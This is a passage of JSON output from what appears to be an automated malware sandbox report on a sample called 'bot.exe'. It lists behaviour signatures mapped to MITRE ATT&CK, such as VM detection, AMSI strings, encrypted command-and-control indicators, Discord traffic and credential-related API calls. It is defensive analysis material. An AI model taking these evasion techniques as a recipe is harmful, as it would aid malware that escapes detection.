Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to detect presence of virtual environment (API string)","description":"Found reference to API \"SetupDiGetClassDevsW\" (Indicator: \"SetupDiGetClassDevs\"; File: \"bot.exe\")\n Found reference to API \"SetupDiGetDeviceRegistryPropertyW\" (Indicator: \"SetupDiGetDeviceRegistryProperty\"; File: \"bot.exe\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-253","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"bot.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp, 00000000-00002724.00000002.175358.B9565000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$39","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \"AmsiScanBuffer\" (Indicator: \"amsiscanbuffer\") in Source: 00000000-00001324.00000001.171708.50BE3000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00002724.00000001.173435.F6840000.00000002.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Modifies process error mode to suppress error dialogs","description":"\"bot.exe\" set its error mode to SEM_NOOPENFILEERRORBOX\n \"bot.exe\" set its error mode to SEM_FAILCRITICALERRORS","origin":"API Call","mitre_attack_id":"T1685","relevance":10,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$3a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Triggers a burst of requests to the same API (API Hammering)","description":"\"bot.exe\" obfuscates its traffic by mimicking legitimate API call","origin":"API Call","mitre_attack_id":"T1497","relevance":5,"id":"api-289","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".data\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \".decrypt\"; File: \"METADATA\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00001324.00000000.169787.01E60000.00000004.mdmp, 00000000-00001324.00000001.171708.01E60000.00000004.mdmp, 00000000-00001324.00000002.173627.01E60000.00000004.mdmp, 00000000-00001324.00000003.176692.01E60000.00000004.mdmp\")\n Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00002724.00000000.171515.F4E90000.00000004.mdmp, 00000000-00002724.00000001.173435.F4E90000.00000004.mdmp, 00000000-00002724.00000002.175358.F4E90000.00000004.mdmp, 00000000-00002724.00000003.176644.F4E90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$3d","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Able to decrypt/decode data\n Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Detected Suricata alert – Encrypted channel\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: YARA signature match - ChaCha20 encryption algorithm\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: YARA signature match – cryptographic algorithms","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$3e","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to discover program location on disk (API string)","description":"Found program location discovery API: \"__p__pgmptr\" in \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\"\n Found program location discovery API: \"__p__wpgmptr\" in \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\"\n Found program location discovery API: \"_get_pgmptr\" in \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\"\n Found program location discovery API: \"_get_wpgmptr\" in \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-905","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"_psutil_windows.pyd\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"etUserNameExW\" (Source: \"00000000-00001324.00000003.176692.01E60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"file/memory contains long string with (Indicator: \"EnumSystemFirmwareTables\"; File: \"api-ms-win-core-sysinfo-l1-2-0.dll\")\n file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"_psutil_windows.pyd\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"file/memory contains long string with (Indicator: \"ProcessIdToSessionId\"; File: \"api-ms-win-core-processthreads-l1-1-0.dll\")\n file/memory contains long string with (Indicator: \"WTSFreeMemory\"; File: \"_psutil_windows.pyd\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"bot.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; File: \"bot.exe\")\n Found reference to API \"EnumSystemLocalesEx\" (Indicator: \"EnumSystemLocales\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp, 00000000-00002724.00000002.175358.B9565000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultLocaleName\" (Indicator: \"GetUserDefaultLocaleName\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")\n Found reference to API \"EnumSystemLocalesW\" (Indicator: \"EnumSystemLocales\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; File: \"bot.exe\")\n Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpaceEx\"; File: \"bot.exe\")\n Found reference to API \"GetDiskFreeSpaceW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp, 00000000-00002724.00000003.176644.B96DD000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getusergeoid\"; File: \"api-ms-win-core-localization-l1-2-0.dll\")\n file/memory contains long string with (Indicator: \"getgeoinfo\"; File: \"api-ms-win-core-localization-l1-2-0.dll\")\n file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"_socket.pyd\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information set for devices (API string)","description":"Found reference to API \"SetupDiGetClassDevsW\" (Indicator: \"setupdigetclassdevs\"; File: \"bot.exe\")\n Found reference to API \"SetupDiGetDeviceRegistryPropertyW\" (Indicator: \"setupdigetdeviceregistryproperty\"; File: \"bot.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-533","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"bot.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"bot.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00001324)\n \"bot.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00001324)\n \"bot.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00002724)\n \"bot.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00002724)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"bot.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00001324)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"bot.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001324)\n \"bot.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002724)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$40","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: bot.exe]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"bot.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"bot.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"cmd.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"%WINDIR%\\system32\\cmd.exe /c \"ver\"\" (Indicator: \"cmd.exe /c \"ver\"\") in Source: 00000000-00002724-00000C47-5491750921\n Observed string: \"VER\" (Indicator: \"ver\") in Source: 00000000-00002724.00000000.171515.B47B6000.00000002.mdmp\n Observed string: \"VER TWO DOT.RE\" (Indicator: \"ver \") in Source: 00000000-00002724.00000000.171515.B47B6000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"file/memory contains long string with (Indicator: \"tracert\"; File: \"api-ms-win-core-rtlsupport-l1-1-0.dll\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the user identity associated with the current process token","description":"\"bot.exe\" queried token user identity (UID: 00000000-00001324)\n \"bot.exe\" queried token user identity (UID: 00000000-00002724)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-328","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$41","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"bot.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"bot.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Observed Discord Domain (discord .com in TLS SNI)\" (SID: 2035463, Rev: 3, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Observed Discord Service Domain (discord .com) in TLS SNI\" (SID: 2060505, Rev: 1, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"External Systems","name":"Sample was identified as clean by Antivirus engines","description":"0/26 Antivirus vendors marked sample as clean (0% detection rate)","origin":"External System","relevance":10,"id":"avtest-1","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Able to aggregate collected data, possibly for exfiltration","description":"\"base_library.zip\" copied on \"%TEMP%\\_MEI0000052c2\\base_library.zip\"","origin":"Binary File","mitre_attack_id":"T1074","relevance":1,"id":"binary-87","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"api-ms-win-core-file-l2-1-0.dll\")\n Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"file/memory contains long string(File: \"libportaudioarm64.dll\")\n file/memory contains long string(File: \"libportaudio32bit.dll\")\n file/memory contains long string(File: \"api-ms-win-core-processenvironment-l1-1-0.dll\")\n Found string \"GetCommandLineW\" (Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp, 00000000-00002724.00000001.173435.C1F43000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp, 00000000-00002724.00000001.173435.C1F43000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"$42","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"bot.exe\" called \"CreateProcessW\" with parameter \"\"C:\\bot.exe\"\" - (UID: 00000000-00001324)\n \"bot.exe\" called \"CreateProcessW\" with parameter \"%WINDIR%\\system32\\cmd.exe /c \"ver\"\" - (UID: 00000000-00002724)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"bot.exe\" called 